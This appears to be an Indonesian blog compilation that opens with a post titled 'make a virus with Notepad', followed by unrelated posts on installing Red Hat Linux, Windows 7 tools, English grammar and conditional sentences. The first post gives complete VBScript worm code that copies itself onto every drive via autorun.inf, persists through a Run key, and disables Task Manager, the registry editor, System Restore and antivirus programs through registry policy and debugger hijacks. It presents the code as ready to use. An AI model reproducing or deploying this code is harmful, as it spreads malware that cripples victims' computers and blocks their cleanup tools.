Membuat Virus Dengan Notepad

Membuat Virus Dengan Notepad

MEMBUAT VIRUS DENGAN MEMAKAI NOTEPAD

1. Buka Notepad
2. Copy kan kode dibawah ini:

on error resume next

dim rekur,syspath,windowpath,desades,
longka,mf,isi,tf,F0nAb0530,nt,check,sd

isi = “[autorun]” & vbcrlf & “shellexecute=wscript.exe Mila.sys.vbs”

set longka = createobject(“Scripting.FileSystemObject”)

set mf = longka.getfile(Wscript.ScriptFullname)

dim text,size

size = mf.size

check = mf.drive.drivetype

set text = mf.openastextstream(1,-2)

do while not text.atendofstream

rekur = rekur & text.readline

rekur = rekur & vbcrlf

loop

do

Set windowpath = longka.getspecialfolder(0)

Set syspath = longka.getspecialfolder(1)

set tf = longka.getfile(syspath & “\recycle.vbs”)

tf.attributes = 32

set tf = longka.createtextfile(syspath & “\recycle.vbs”,2,true)

tf.write rekur

tf.close

set tf = longka.getfile(syspath & “\recycle.vbs”)

tf.attributes = 39

for each desades in longka.drives

If (desades.drivetype = 1 or desades.drivetype = 2) and desades.path “A:” then

set tf=longka.getfile(desades.path &”\Mila.sys.vbs”)

tf.attributes =32

set tf=longka.createtextfile(desades.path &”\Mila.sys.vbs”,2,true)

tf.write rekur

tf.close

set tf=longka.getfile(desades.path &”\Mila.sys.vbs”)

tf.attributes = 39

set tf =longka.getfile(desades.path &”\autorun.inf”)

tf.attributes = 32

set tf=longka.createtextfile(desades.path &”\autorun.inf”,2,true)

tf.write isi

tf.close

set tf = longka.getfile(desades.path &”\autorun.inf”)

tf.attributes=39

end if

next

set F0nAb0530 = createobject(“WScript.Shell”)

F0nAb0530.regwrite “HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Window Title”,”:: F0nA ::”

F0nAb0530.RegWrite “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Advanced\Hidden”,2, “REG_DWORD”

F0nAb0530.RegWrite “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoFind”, “1″, “REG_DWORD”

F0nAb0530.RegWrite “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoFolderOptions”, “1″, “REG_DWORD”

F0nAb0530.RegWrite “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoRun”, “1″, “REG_DWORD”

F0nAb0530.RegWrite “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools”, “1″, “REG_DWORD”

F0nAb0530.RegWrite “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableTaskMgr”, “1″, “REG_DWORD”

F0nAb0530.RegWrite “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoViewContextMenu”, “1″, “REG_DWORD”

F0nAb0530.RegWrite “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoTrayContextMenu”, “1″, “REG_DWORD”

F0nAb0530.RegWrite “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\ActiveDesktop\NoChangingWallpaper”, “1″, “REG_DWORD”

F0nAb0530.RegWrite “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoWinKeys”, “1″, “REG_DWORD”

F0nAb0530.RegWrite “HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore\DisableSR”, “1″, “REG_DWORD”

F0nAb0530.RegWrite “HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoLogOff”, “1″, “REG_DWORD”

F0nAb0530.RegWrite “HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoControlPanel”, “1″, “REG_DWORD”

F0nAb0530.RegWrite “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU\a”, “F0nAb0530-X2/1″

F0nAb0530.RegWrite “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU\MRUList”, “a”

F0nAb0530.regwrite “HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Winlogon\LegalNoticeCaption”, “F0nAb0530-X2″

F0nAb0530.RegWrite “HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Winlogon\LegalNoticeText”, “Aku Sayang Mila”

F0nAb0530.regwrite “HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\Ageia”, syspath & “\recycle.vbs”

F0nAb0530.regwrite “HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Start Page”, “http://www.macancrew.net”

F0nAb0530.regwrite “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\cmd.exe\Debugger”,”“

F0nAb0530.regwrite “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\install.exe\Debugger”,”“

F0nAb0530.regwrite “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msconfig.exe\Debugger”,”“

F0nAb0530.regwrite “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regedit.exe\Debugger”,”“

F0nAb0530.regwrite “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regedt32.exe\Debugger”,”“

F0nAb0530.regwrite “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\RegistryEditor.exe\Debugger”,”“

F0nAb0530.regwrite “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\setup.exe\Debugger”,”“

F0nAb0530.regwrite “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\PCMAV.exe\Debugger”,”“

F0nAb0530.regwrite “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\PCMAV-CLN.exe\Debugger”,”“

F0nAb0530.regwrite “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\PCMAV-RTP.exe\Debugger”,”“

F0nAb0530.regwrite “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\wordpad.exe\Debugger”,”“

F0nAb0530.regwrite “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\VB6.exe\Debugger”,”“

F0nAb0530.regwrite “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\autorun.exe\Debugger”,”“

F0nAb0530.regwrite “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ansav.exe\Debugger”,”“

F0nAb0530.regwrite “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\viremoval.exe\Debugger”,”“

F0nAb0530.regwrite “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\viremover.exe\Debugger”,”“

if check 1 then

Wscript.sleep 200000

end if

loop while check 1

set sd = createobject(“Wscript.shell”)

sd.run windowpath & “\explorer.exe /e,/select, ” & Wscript.ScriptFullname

3. Simpan dengan nama Mila.sys.vbs

LANGKAH – LANGKAH INSTALASI LINUX REDHAT

LANGKAH – LANGKAH INSTALASI LINUX REDHAT

Persiapan Instalasi
Beberapa hal yang patut anda catat sebelum memulai instalasi adalah :
1. siapkan PC yang memungkinkan untuk menginstal linux

2. siapkan CD instalasi Linux yang akan anda instal

Memulai Instalasi
1. Setting BIOS pada komputer, agar booting pertama dari CD-Drive.

2. Masukkan Disk ke 1 dari 3 CD Red Hat ke dalam CD-Drive. Tunggu beberapa saat hingga tampil pilihan untuk memulai instalatasi Red Hat tersebut | tekan tombol Enter.

3. Tunggu beberapa saat akan muncul pilihan bahasa selama proses instalasi seperti gambar berikut :

4. Klik tombol Next. Kemudian akan tampil jendela pilihan untuk keyboard.

5. Klik tombol Next. Kemudian akan tampil jendela pilihan untuk mouse, klik sesuai dengan mouse yang digunakan.

6. Klik tombol Next. Kemudian akan tampil jendela pilihan untuk upgrade atau install

7. Pilih Perform a New Red Hat Linux Installation, Kemudian klik tombol Next.

8. Tentukan pilihan untuk instalasi yang diinginkan, klik Next

1 Personal Desktop Aplikasi offices dan Multimedia 1.8 GB
2 Workstation Komputer kerja untuk jaringan dan developer/ programmer. 2.1 GB
3 Server Komputer sebagai server dengan aplikasinya 1.5 GB – 4.85 GB
4 Custom Menentukan sendiri paket sesuai kebutuhan 500 MB – 4.85 GB

9. Pilih bentuk partisi yang diinginkan : Automatically Partition atau Manually Partition with Disk Druid

*) Membuat tiga partisi, masing-masing untuk windows, linux dan data. Sehingga jika anda ingin menghapus/ uninstal Linux atau Windows, data-data penting anda tidak turut hilang.

*) Didalam sebuah Harddisk terdapat konsep partisi yang terdiri dari Partisi Primary, Partisi Extended dan Partisi Logical. Didalam partisi primary terdapat Master Boot Record (MBR) untuk melakukan proses boot loader dari suatu sistem operasi.

10. Pilih Manually Partition with Disk Druid untuk membuat partisi Linux, dan secara default, Anda cukup untuk membuat partisi :
1 . /boot ———-> EXT3 / Linux Native ——-> 100 MB
2 . / ————–>EXT3 / Linux Native ——–>4000 MB
3 . swap ———–>Swap ————->2 x jumlah memori yang terpasang pada komputer

Pilih tombol NEW pada kotak dialog Partitioning. Lalu isikan di kolom Mount Point “ / ”. Untuk file system, pilih Linux Native. Isikan kolom size sisa dari hardisk anda yang masih kosong. Lalu pilih OK kemudian pilih Next.

11. Setelah selesai pembuatan partisi maka akan ditampilkan konfigurasi untuk boot loader Lalu pilih Next, sehingga muncul tampilan sebagai berikut :

12. Jika anda berencana menghubungkan komputer ke jaringan, isikan data yang diminta. Jika tidak biarkan kosong. Pilih Next.

13. Kemudian muncul kotak konfigurasi firewall. Biarkan kosong jika anda tidak menghubungkan komputer dengan jaringan.

14. Pilih Next , muncul tampilan berikut yang meminta anda mengisikan jenis bahasa yang akan digunakan oleh RedHat nantinya.

Sell Links On Your Site

15. Pilih Next untuk melanjutkan. Sehingga tampil setting waktu.

16. Pilih Next untuk melanjutkan. Masukkan Password untuk root, yang merupakan super user. Klik tombol Next dan tombol Next kembali.

17. Tentukan paket-paket apa saja yang akan di Install. Ada beberapa group paket diantaranya seperti Desktop, Application, Server. Kemudian klik Next

18. Tunggu beberapa saat hingga proses instalasi paket yang telah dipilih selesai semuanya.

19. Kemudian akan tampil kotak dialog untuk membuat boot system untuk disket, masukkan disket pada drive A, kemudian klik tombol Next.

20. Setelah selesai pembuatan disket boot, kemudian akan tampil kotak dialog untuk menentukan jenis Berikutnya installer akan meminta anda memilih konfigurasi Video Card. Umumnya, installer mengenali jenis video card yang ada. Dan juga anda diminta memilih jumlah RAM video card tersebut. Seperti terlihat pada gambar berikut :

21. Klik Next untuk menentukan jenis monitor yang digunakan dan resolusi yang diinginkan.

22. Setelah anda memasukan dengan benar, maka selesai sudah instalasi Linux RedHat 9.0.

10 Tools untuk meningkatkan performa Windows 7

10 Tools untuk meningkatkan performa Windows 7

Windows 7 memang merupakan produk baru yang baru saja diluncurkan oleh Microsoft, namun itu bukan berarti belum ada tools atau aplikasi yang bisa meningkatkan kinerjanya. Dalam dunia sistem operasi, peningkatan kinerja dengan bantuan sebuah aplikasi disebut dengan Tweak. Kami telah memilih 10 buah tools (beberapa diantaranya gratis) untuk meningkatkan kinerja Win7 atau tools melakukan upgrade dari Windows XP atau Vista ke Windows 7 dengan mudah.

Microsoft Security Essentials
Seperti pendahulunya, Windows 7 tidak menyediakan aplikasi antivirus secara built-in, Microsoft tidak menyediakan aplikasi anti virus atau anti spyware dan anti spam pada sistem operasi terbarunya ini, bahkan Windows 7 tidak memiliki Firewall, untuk itu kita diharuskan menggunakan aplikasi dari pihak ketiga seperti MacAfee atau Symantec untuk menggunakan layanan ini. Namun Microsoft juga telah menyediakan layanan gratis untuk kebutuhan ini yaitu melalui Microsoft Security Essentials, jika kita menginginkan layanan serupa dengan biaya gratis dari pihak lain mungkin bisa menggunakan AVG Anti-Virus Free Edition.

Ninite
Memang dibutuhkan sedikit keberanian untuk mengintal Windows 7 dari Windows XP, dan hal yang paling membosankan adalah mennginstal ulang semua aplikasi yang biasa kita gunakan di Windows XP untuk bisa kembali berjalan di Windows 7 (misalnya aplikasi Firefox, Skype dan iTunes). Untungnya ada tools aplikasi yang bisa digunakan untuk kebutuhan ini yakni Ninite, aplikasi ini bisa diunduh dan diinstal tanpa aplikasi crapware. Ninite merupakan aplikasi gratis selama digunakan oelh penggunaan pribadi.

Windows Live Photo Gallery
Untuk menjadikan Windows 7 tetap ramping dan hemat memory/penyimpanan ini juga mencegah terjadinya pembengkakan kapasitas seperti yang terjadi pada Windows Vista. Microsoft memisahkan beberapa aplikasi dari Windows 7, salah satu aplikasi tersebut adalah Photo Gallery. Ini merupakan aplikasi gratisan yang disediakan oleh Microsoft untuk menampilkan dan memanajemen koleksi foto yang kita miliki.

Windows Easy Transfer
Aplikasi ini sangat bermanfaat nagi mereka yang melakukan instalasi Windows 7 dari Windows XP atau Vista dan ingin memindahkan atau meng-copy file dan system dari sebuah PC ke PC lainnya. Aplikasi dapat diunduh secara gratis di halaman Windows Easy Transfer.

Versi terbaru dari aplikasi Windows EasyTransfer ini memiliki fitur explorer yang memudahkan kita memilih file dan sistem manasaja sayang akan kita pindahkan. Aplikasi ini tidak akan berhenti berjalan bila ada file yang tidak bisa di copy dan akan melaporkan semua hasil dari proses peng-copy-an file-file tersebut. Sayangnya aplikasi ini tidak dapat meng-copy program. Untuk meng-copy antar PC dibutuhkan kabel penghubung seharga US$20 namun kita juga bisa memilih opsi transfer melalui USB, harddisk external atau koneksi jaringan.

Ultimate Windows Tweaker v2
Tool kustomisasi gratis ini mendeteksi apakah kita sedang menjalankan Windows 7 atau Vista, dan hanya menawarkan tweak yang relevan dengan sistem operasi yang sedangkita gunakan. “Ultimate” adalah deskripsi yang tepat untuk tool mega-Tweaker ini, karena menyediakan puluhan opsi-opsi konfigurasi untuk tampilan, jaringan, keamanan, dan pengaturan sistem lainnya. Jika yang kita butuhkan adalah personalisasi Windows 7, maka aplikasi ini sangat cocok untuk digunakan.

WinZip 14 Standars
Mungkin sebagian dari kita bertanya: Bukankah Windows 7 telah memiliki aplikasi Zip (untuk mengkompresi) file bawaan, kenapa kita memerlukan aplikasi WinZip dari pihak lain? Bagi kita yang jarang mengkompresi arsip data mungkin kita tidak memerlukan aplikasi Zip tambahan ini, namun Winzip 14 Standar memberikan kemudahan dan meyederhanakan proses kompresi terhadap file di Windows 7.

Versi terakhir dari Winzip 14 Standar ini memiliki rasio kompresi yang lebih baik, dan dibanderol dengan harga US$30.

EnhanceMySe7en (Gratis)
Windows 7 mungkin akan lebih mudah digunakan daripada Windows Vista atau Windows XP, tetapi diagnostik system dan tugas-tugas pemeliharaan masih masih sangat rumit untuk dilakukan oleh sistem bawaan. Aplikasi EnhanceMySe7en adalah utilitas yang berguna bagi siapa pun untuk mengatur dan memanajemen sistem serta merapikan file-file dalam system Windows 7

Aplikasi gratis ini memudahkan untuk memilih program mana yang akan dimuat ketika Windows dijalankan, memantau kinerja, “kesehatan” dan suhu prosesor, dan mengubah Registry – tentu jika kita mau dan berani melakukannya.

Image Resizer Powertoy Clone
Apakah kita ingin mengubah ukuran gambar/foto yang ada pada Windows 7? Utilitas gratis ini membuat kita mudah untuk melakukan hal tersebut, cukup dengan melakukan klik kanan pada satu atau lebih file gambar di Windows Explorer. Kita dapat memilih salah satu dari empat ukuran yang tersedia: kecil (640 x 480); menengah (800 by 600); besar (1024 by 768); atau handheld PC (240 by 320). Kita juga dapat membuat ukuran kustom kita sendiri.

Systerac Tools for Windows 7
Tools ini merupakan bundel dari 16 tools yang dibuat oleh Systerac, memiliki segala yang kita perlukan untuk menjadikan Windows 7 tetap berjalan normal dan lancar. Kita dapat melakukan tweak Windows untuk ‘mengoptimalkan kinerja dan penampilan, mengoptimalkan memori, membersihkan hard drive, mengatur jejak dengan memotong-motong file, dan sebagainya. Systerac memiliki antarmuka(tampilan) yang secara estetika cukup menarik, terorganisir dengan baik, dan mudah dipelajari. Aplikasi ini tersedia untuk Windows 7 dan juga untuk Vista, dibanderol dengan harga US$ 20.

Windows 7 Upgrade Advisor
Jangan melakukan upgrade ke Windows 7 sebelum kita menjalankan utilitas gratis ini dari Microsoft. Upgrade Advisor akan melakukan scan terhadap PC untuk melihat apakah system yang ada pada PC tersebut sudah siap untuk Windows 7. Jika ditemukan adanya potensi masalah, seperti tidak cukup memori, hardware tidak kompatibel, atau perangkat lunak yang sudah terlalu lama, maka Windows 7 upgrade Advisor akan memberitahukan kepada kita dalam bentuk ringaksan laporan yang mudah kita pahami.

Source : www.feedberry.com/2009/11/02/10-tools-untuk-meningkatkan-performa-windows-7/

MODAL AUXILIARY

The Modal Auxiliary Verbs

The modal auxiliary verbs adalah kata-kata seperti can, will, shall, may, might, should, ought to, must, could yang digunakan bersama dengan kata kerja dan ditempatkan di depan subyek.

 The Modal auxiliary verb dan kata kerja yang mengikutinya tidak mengalami perubahan untuk orang dan jumlah
 The modal auxiliary verb ditempatkan segera sesudah subyek kalimat.

FORM: SUBJECT + THE MODAL AUXILIARY + INFINITIVE

(Positive) They can do it
(Negative) They can not do it
(Questions) Can they do it:
Short Answer Yes, they can/not, they can’t

Bentuk dan arti dari the modal auxiliary verbs:

1. Will (Future)
• They will come here on time

2. Could (ability in the past, possibility)
• She could climb when she wa still young. (ability in the past)
• She could come in a minute. (possibility)

3. Can (ability, permission)
• He can play the pino. (ability)
• They can play football here. (Permission)

4. May (Pemission, possibility)
• The children may play here. (permission)
• He may get a raise. (possibility)

5. Might (Possibility)
• He might get a rise in his salary. (possibility)

6. Should/ought to (obligation, desirability)
• Students ought to/should study regularly. (obligation)
• You ought not to/shouldn’t drink and drive. (desirability)

7. Must (conclusion, probability, necessity)
• He must be twenty years old. (conclusion, probability)
• You must be hungry. (conclusion, probability)
• You must study tonight.

Comparison Degree

Comparison Degree atau Tingkat Perbandingan merupakan cara mengungkapkan kalimat untuk membandingkan sesuatu dengan yang lain. Perhatikan tabel berikut:

Setara	Komparatif	Superlatif
as as	er than more	the est the most

Dalam kalimat, simbol smiley () diganti dengan adjektif atau adverb. Perhatikan contoh kalimat berikut:

Susan is as tall as Fitri.
= Susan setinggi Fitri.

Jakarta is hotter than Bandung.
= Jakarta lebih panas daripada Bandung.

The house is the biggest in our neighborhood.
= Rumah itu paling besar di lingkungan kami.

Untuk kata sifat yang bersuku-kata lebih dari satu, tingkat komparatifnya tidak ditambahi dengan -er than, melainkan diawali more diikuti dengan kata sifat tersebut.

Sementara tingkat superlatif untuk kata sifat bersuku-kata lebih dari satu, diawali dengan the most, diikuti dengan kata sifat itu.

Perhatikan kalimat berikut:

Lucy is the most beautiful girl in our school.
= Lucy gadis yang paling cantik di sekolahan kami.

Tiger is the most dangerous animal in the world.
= Harimau adalah binatang yang paling berbahaya di dunia.

Berikut ini adalah beberapa kata sifat yang bentuk perbandingannya menjadi perkecualian:

Setara	Komparatif	Superlatif
good bad far many / much a few / a little	better worse further / farther more less	best worst furthest / farthest most least

ACTIVE PASSIVE VOICE

ACTIVE AND PASSIVE VOICE

Kalimat Aktif dan Kalimat Pasif

Kata kerja transitif mempunyai dua voice (ragam gramatikal), aktif dan pasif.

1) Bentuk aktif adalah orang, binatang, atau benda yang ditunjukkan oleh subjek dikatakan

melakukan sesuatu pada yang lain.

Contoh: Karim killed a tiger. Karim membunuh seekor harimau

2) Bentuk pasif adalah orang, binatang atau benda dikatakan menderita sesuatu dari sesuatu yang lain.

Contoh: A tiger was killed by Karim. Seekor harimau dibunuh oleh Karim

Bentuk pasif :

To Be + Past Participle

Aturan-aturan :

a) Kata kerja transitif tidak digunakan dalam bentuk pasif, kecuali kalau kata kerja itu menggunakan cognate object dalam bentuk aktif.

Aktif : She sang a fine song. Ia menyanyikan sebuah nyanyian yang merdu

Pasif : A fine song was sung by her. Sebuah nyanyian yang merdu dinyanyikan olehnya

b) Bilamana kalimat diubah dari bentuk aktif ke pasif, objek untuk kata kerja aktif menjadi subjek untuk kalimat kerja pasif.

objek untuk kata kerja aktif :

Aktif: Linda can make tarts. Linda dapat membuat kue tart

Subjek untuk kata kerja pasif :

Pasif: Tarts can be made by Linda

c) Retained object (objek yang tetap dipakai/dipertahankan dalam pasif)

Dua buah objek dalam kalimat aktif, ketika diubah menjadi kalimat pasif, masih tetap ada sebuah objek dipertahankan, objek ini dinamakan retained object. Objek ini mungkin objek tak langsung dari kata kerja aktif atau objek langsung dari kata kerja aktif.

Objek tak langsung dari kata kerja aktif

Kata Kerja aktif Kata kerja pasif

We gave him a prize A prize was given him by us

Objek langsung dari kata kerja aktif

Kata Kerja aktif Kata kerja pasif

We gave him a prize He was given a prize by us

Berikut contoh-contoh kalimat aktif yang dirubah menjadi kalimat pasif dalam bentuk tenses :

1) Simple present

Aktif John bites Mary John doesn’t bite Mary Does John bite Mary? What does John do? Who bites Mary? Who does John bite?

Pasif Mary is bitten by John Mary isn’t bitten by John Is Mary bitten by John? What is done by John? Who is Mary bitten by? Who is bitten by John?

2) Simple continuous

Aktif John is biting Mary John isn’t biting Mary Is John biting Mary? What is John doing? Who is biting Mary? Who is John biting?

Pasif Mary is being bitten by John Mary isn’t being bitten by John Is Mary being bitten by John? What is being done by John? Who is Mary being bitten by? Who is being bitten by John?

3) Present perfect

Aktif John has bitten Mary John hasn’t bitten Mary Has John bitten Mary? What has John done? Who has bitten Mary? Who has John bitten?

Pasif Mary has been bitten by John Mary hasn’t been bitten by John Has Mary been bitten by John? What has been done by John? Who has Mary been bitten by? Who has been bitten by John?

4) Present perfect continuous

Aktif John has been biting Mary John hasn’t been biting Mary Has John been biting Mary? What has John been doing? Who has been biting Mary? Who has John been biting?

Pasif Mary has been being bitten by John Mary hasn’t been being bitten by John Has Mary been being bitten by John? What has been being done by John? Who has Mary been being bitten by? Who has been being bitten by John?

5) Simple past

Aktif John bit Mary John didn’t bite Mary Did John bite Mary? What did John do? Who bit Mary? Who did John bite?

Pasif Mary was bitten by John Mary wasn’t bitten by John Was Mary bitten by John? What was done by John? Who was Mary bitten by? Who was bitten by John?

6) Past continuous

Aktif John was biting Mary John wasn’t biting Mary Was John biting Mary? What was John doing? Who was biting Mary? Who was John biting?

Pasif Mary was being bitten by John Mary wasn’t being bitten by John Was Mary being bitten by John? What was being done by John? Who was Mary being bitten by? Who was being bitten by John?

7) Past perfect

Aktif John had bitten Mary John hadn’t bitten Mary Had John bitten Mary? What had John done? Who had bitten Mary? Who had John bitten?

Pasif Mary had been bitten by John Mary hadn’t been bitten by John Had Mary been bitten by John? What had been done by John? Who had Mary been bitten by? Who had been bitten by John?

Past perfect continuous

Aktif John had been biting Mary John hadn’t been biting Mary Had John been biting Mary? What had John been doing? Who had been biting Mary? Who had John been biting?

Pasif Mary had been being bitten by John Mary hadn’t been being bitten by John Had Mary been being bitten by John? What had been being done by John? Who had Mary been being bitten by? Who had been being bitten by John?

9) Future

Aktif John will bite Mary John won’t bite Mary Will John bite Mary? What will John do? Who will bite Mary? Who will John bite?

Pasif Mary will be bitten by John Mary won’t be bitten by John Will Mary be bitten by John? What will be done by John? Who will Mary be bitten by? Who will be bitten by John?

10) Future continuous

Aktif John will be biting Mary John won’t be biting Mary Will John be biting Mary? What will John be doing? Who will be biting Mary? Who will John be biting?

Pasif Mary will be being bitten by John Mary won’t be being bitten by John Will Mary be being bitten by John? What will be being done by John? Who will Mary be being bitten by? Who will be being bitten by John?

11) Future perfect

Aktif John will have bitten Mary John won’t have bitten Mary Will John have bitten Mary? What will John have done? Who will have bitten Mary? Who will John have bitten?

Pasif Mary will have been bitten by John Mary won’t have been bitten by John Will Mary have been bitten by John? What will have been done by John? Who will Mary have been bitten by? Who will have been bitten by John?

12) Future perfect continuous

Aktif John will have been biting Mary John won’t have been biting Mary Will John have been biting Mary? What will John have been doing? Who will have been biting Mary? Who will John have been biting?

Pasif Mary will have been being bitten by John Mary won’t have been being bitten by John Will Mary have been being bitten by John? What will have been being done by John? Who will Mary have been being bitten by? Who will have been being bitten by John?

Kata-kata kerja transitif kadang-kadang mempunyai arti pasif walaupun bentuk kalimatnya adalah aktif :

a) Dengan komplemen

Sugar tastes sweet (pasif: sugar is sweet when it is tasted). Gula manis rasanya (gula manis bila

dirasakan)

b) Tanpa komplemen

The books is printing (pasif: the book is being printed). Buku itu sedang dicetak

The cows are milking (pasif: the cows are being milked). Sapi-sapi itu sedang diperah

Kesimpulan :

TENSES		ACTIVE			PASSIVE
Simple Present Present Continuous Present Perfect Past Tense Past Continuous Simple Future Be going to Past perfect Future perfect	Mary Mary Mary Mary Mary Mary Mary Mary Mary		Helps is helping has helped helped was helping will help is going to help had helped will have helped	John John John John John John John John John	John John John John John John John John John	is helped is being helped has been helped was helped was being helped will be helped is going to be helped had been helped will have been helped	by Mary by Mary by Mary by Mary by Mary by Mary by Mary by Mary by Mary

Perhatian: Semua bentuk pasif verbnya menggunakan bentuk ketiga (V3)

Conditional sentence

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For the non-custodial punishment for a crime in Canada, see conditional sentence (Canada).

In grammar, conditional sentences are sentences discussing factual implications or hypothetical situations and their consequences. Languages use a variety of conditional constructions and verb forms (such as the conditional mood) to form these kinds of sentences.

Full conditional sentences contain two clauses: the condition or protasis, and the consequence or apodosis.

If it rains [condition], (then) the picnic will be cancelled [consequence].

Syntactically, the condition is the subordinate clause, and the consequence is the main clause. However, the properties of the entire sentence are primarily determined by the properties of the protasis (condition) (its tense and degree of factualness).

Conditional sentences in English

English conditional sentences can be divided into the two broad classes of factual/predictive and hypothetical (counterfactual), depending on the form of the verb in the condition (protasis). The terms "factual" and "counterfactual" broadly correspond to the linguistic modalities called realis and irrealis.

Factual/predictive conditions

In these constructions, the condition clause expresses a condition the truth of which is unverified. The verb in the condition clause is in the past tense (with a past tense interpretation) or in the present tense (with a present or future tense interpretation). The result clause can be in the past, present, or future. Generally, conditional sentences of this group are in two groups, the "zero conditional" and the potential or indicative conditional, often called "first conditional" or "conditional 1". This class includes universal statements (both clauses in the present, or both clauses in the past) and predictions.

The "zero" conditional is formed with both clauses in the present tense. This construction is similar across many languages. It is used to express a certainty, a universal statement, a law of science, etc.:

If you heat water to 100 degrees celsius, it boils.

If you don't eat for a long time, you become hungry.

If the sea is stormy, the waves are high.

It is different from true conditionals because the introductory "if" can be replaced by "when" or "whenever" (e.g., "When you heat water..."), which cannot be done for true conditionals.

The potential or indicative conditional, often referred to as the "first conditional" or "conditional 1", is used more generally to express a hypothetical condition that is potentially true, but not yet verified. The conditional clause is in the present or past tense and refers to a state or event in the past. The result can be in the past, present, or future. Some examples with the condition clause in the past tense:

If she took that flight yesterday, she arrived at 10pm.

If she took that flight yesterday, she is somewhere in town today.

If she took that flight yesterday, we'll see her tomorrow.

A condition clause (protasis) in the present tense refers to a future event, a current event which may be true or untrue, or an event which could be verified in the future. The result can be in the past, present, or future:

If it's raining here now, then it was raining on the West Coast this morning.

If it's raining now, then your laundry is getting wet.

If it's raining now, there will be mushrooms to pick next week.

If it rains this afternoon, then yesterday's weather forecast was wrong.

If it rains this afternoon, your garden party is doomed.

If it rains this afternoon, everybody will stay home.

If I become President, I'll lower taxes.

Certain modal auxiliary verbs (mainly will, may, might, and could) are not usually used in the condition clause (protasis) in English:

*If it will rain this afternoon, …

*If it may have rained yesterday, …

There are exceptions, however, in which will is used exactly as in the first example, namely when the action in the if clause takes place after that in the main clause:

(The weather forecast says it's going to rain.) Well, if it will rain, we must take umbrellas.

If aspirins will cure it, I'll [I will] take a couple tonight instead of this horrible medicine.^[1]

Other situations in which will can be used in an if clause include when will is not being used as an auxiliary verb, in other words when it is being used modally to express willingness, persistence, or a wish:

If you'll [you will] just hold the door open for me a moment, I can take this table out to the kitchen.

If you will keep all the windows shut, of course you'll get headaches.

If you will excuse me, I think I will slip into something more comfortable.^[2][3]

In colloquial English, the imperative is sometimes used to form a conditional sentence: e.g. "go eastwards a mile and you'll see it" means "if you go eastwards a mile, you will see it".

Hypothetical (counterfactual) conditions

In these constructions, the condition clause expresses a condition that is known to be false, or presented as unlikely. The result clause contains a conditional verb form consisting of would (or could, should, might) plus a main verb in the base form (infinitive without to).

The contrary-to-fact present conditional, often referred to as the "second conditional" or "conditional 2", is used to refer to a current state or event that is known to be false or improbable. The past subjunctive (or in colloquial English, simply the past tense) must be used:

If she were [colloq. was] at work today, she would know how to deal with this client.

If I were [colloq. was] the king, I could have you thrown in the dungeon.

The same structure can be used to refer to a future state or event:

If I won the lottery, I would buy a car.

If he said that to me, I would run away.

In many cases, when referring to future events, the difference between a realis and irrealis conditional is very slight:

(realis) If you leave now, you can still catch your train.

(irrealis) If you left now, you could still catch your train.

The contrary-to-fact past conditional (sometime referred to as the "third" conditional, conditional 3) is used to refer to contrary-to-fact past events. The pluperfect (or past perfect) is used in the condition clause.

If you had called me, I would have come.

If you had done your job properly, we wouldn't be in this mess now.

